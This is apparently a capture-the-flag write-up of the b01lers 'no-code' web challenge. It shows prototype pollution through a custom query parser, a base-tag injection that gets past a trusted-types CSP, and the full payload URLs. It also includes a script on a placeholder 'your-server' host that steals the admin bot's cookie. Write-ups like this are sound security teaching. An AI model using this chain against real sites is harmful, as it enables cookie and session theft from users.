introduction
last week we played b01lers ctf and placed 3rd for our first top 3 finish of the year! we maintained #1 for quite a while, before finally at the end we got dethroned by PBR and infobahn. was a very close game and was fun playing against them!
here’s my writeup for no-code
, one of the challenges i found interesting during the ctf:
challenge
Found this new web framework the other day—you don’t need to write any code, just JSON.
Admin bot: https://nocode-admin.harkonnen.b01lersc.tf/
the first thing i do when approaching a challenge is globally search for flag
.
in this case, there’s an admin bot setting a cookie with the contents of a flag; an obvious setup for an xss challenge:
await context.setCookie({ name: "flag", httpOnly: false, value: process.env.FLAG ?? "bctf{fake_flag}", domain: new URL(url).hostname,});
looking at the application itself, it’s what it says on the tin: a “web framework” that’s made up entirely of json files to define pages. the directory structure for the pages looked like this:
src/└── app/ └── pages/ ├── static/ ├── about.json ├── contact.json ├── index.json └── projects.json
kinda like any other file-based rendering frontend framework, but it’s json files instead.
the query parser
looking at the code itself, one thing immediately stood out to me: the “extended” query string parser
function parseQuery(query) { query = query.replace(/$\?/, ""); const params = query.split("&"); const result = {}; for (const param of params) { const [key, value] = param.split("=").map(decodeURIComponent); if (key.includes("[")) { const parts = key.split("[").map((part) => part.replace(/]$/, "")); let curr = result; for (let part of parts.slice(0, -1)) { if (curr[part] === undefined) { curr[part] = {}; } curr = curr[part]; } curr[parts[parts.length - 1]] = value; } else { result[key] = value; } }
return result;}
extended query parsing lets you create more complex data structures within query parameters. so if you send a query such as a=b&obj[a]=b
, it would parse to this:
{ "a": "b", "obj": { "a": "b" }}
however, the reason why that specific feature stands out is because:
- there are standard implementations of extended query parsing. this is a custom implementation added for no reason.
- there’s no check if you send something like
__proto__[a]=b
, making it potentially susceptible to prototype pollution.
but prototype pollution would only take you as far as the application allows. that is, if the application is written in a way that would actually leverage a polluted object you add.
looking further into the code, we see this function:
// templatingfunction replaceAllProps(obj, props) { if (typeof obj !== "object") { return obj; } if (obj.attributes !== undefined) { obj.attributes = Object.fromEntries( Array.from(Object.entries(obj.attributes)).map(([key, value]) => [ key, replaceProps(value, props), ]) ); } if (obj.text !== undefined) { obj.text = replaceProps(obj.text, props); } if (obj.children !== undefined) { obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props)); } return obj;}
it’s used in the getPage()
function:
async function getPage(page, props) { const pageDocument = JSON.parse((await fs.readFile(`./pages/${page}.json`)).toString()); return replaceAllProps(pageDocument, props);}
this is then used in a fastify route:
fastify.get("/:page", async (req, reply) => { const page = req.params.page || "index"; if (!/^\w+$/.test(page)) { reply.code(400); return { err: "invalid page" }; }
reply.header( "content-security-policy", `require-trusted-types-for 'script'; trusted-types 'none'` ); reply.type("text/html"); const initial = JSON.stringify(await getPage(page, req.query)).replace(/</g, "\\x3c"); return (await fs.readFile("index.html")).toString().replace(/\{\{initial\}\}/g, initial);});
this is where prototype pollution could help us: in replaceAllProps()
, it checks if obj.children
is defined. we can make it always defined with whatever we want by polluting __proto__[children]
.
exploiting the prototype pollution
if we could control obj.children
, we could add whatever html tag we want to the page as a child of every element that doesn’t have children.
testing a basic example, it didn’t seem to work at first.
http://localhost:8000/index ?__proto__[children][0][tag]=script &__proto__[children][0][attributes][src]=a
after some debugging, i realized what this line in replaceAllProps()
was doing:
if (obj.children !== undefined) { obj.children = Array.from(obj.children).map((child) => replaceAllProps(child, props));}
right now, obj.children
looked like this for every object that had no defined children:
{ "children": { "0": { "tag": "script", "attributes": { "src": "a" }, } }}
the issue with this is if you passed it to Array.from()
like replaceAllProps()
is doing, it would return undefined
. why? because Array.from()
expects an “array-like object”.
so how do we make it an “array-like object”? after some research, i found you can do this by just adding a length property to the object. so if we send this:
{ "__proto__": { "children": { "0": { "tag": "script", "attributes": { "src": "a" } }, "length": 1 } }}
this would make Array.from()
return the array we want, adding our arbitrary tag to the page.
after realizing, i sent this to the server:
http://localhost:8000/index ?__proto__[children][0][tag]=script &__proto__[children][0][attributes][src]=a &__proto__[children][length]=1
this “worked”, but resulted in a call-stack size exceeded
error, since replaceAllProps()
is recursive. it would run infinitely since obj.children
was always defined. at least now we know the prototype pollution worked lol.
to fix, all you do is add your own children
property to the polluted object:
http://localhost:8000/index ?__proto__[children][0][tag]=script &__proto__[children][0][attributes][src]=a &__proto__[children][length]=1 &__proto__[children][0][children]=0
so now what? we can’t directly add a script tag to the page because of the content security policy (csp):
reply.header( "content-security-policy", `require-trusted-types-for 'script'; trusted-types 'none'`);
the base element (bypassing the csp)
the <base>
element is a tag that specifics a base url for all relative urls in the page. the index.html
where the json pages are injected to looks like this:
<!DOCTYPE html><html> <head> <meta charset="utf-8" /> <meta http-equiv="X-UA-Compatible" content="IE=edge" /> <title>Writeups</title> <meta name="viewport" content="width=device-width, initial-scale=1" /> </head> <body> <div id="content"></div> <script> const initial = {{initial}}; </script> <script src="/scripts/utils.js"></script> <script src="/scripts/load.js"></script> <script src="/scripts/routing.js"></script> </body></html>
load.js
is what actually loads the json pages into #content
.
so if we can inject <base href="https://your-server">
before the <script src="/scripts/routing.js">
tag, we can load https://your-server/scripts/routing.js
, completely bypassing the csp!
since load.js
is loaded before routing.js
, our prototype pollution injecting arbitrary tags would work here, and we could use it to inject a <base>
tag!
my final payload looked like this:
http://localhost:8000/ ?__proto__[children][0][tag]=base &__proto__[children][0][attributes][href]=https://your-server &__proto__[children][length]=1 &__proto__[children][0][children]=0
i then served a simple scripts/routing.js
file that stole the flag cookie:
window.location = `/?${document.cookie}`
and after entering any page of the site into the admin bot (since the prototype pollution would persist), we get the flag!
bctf{javascript_is_a_perfect_language_with_no_flaws_whatsoever}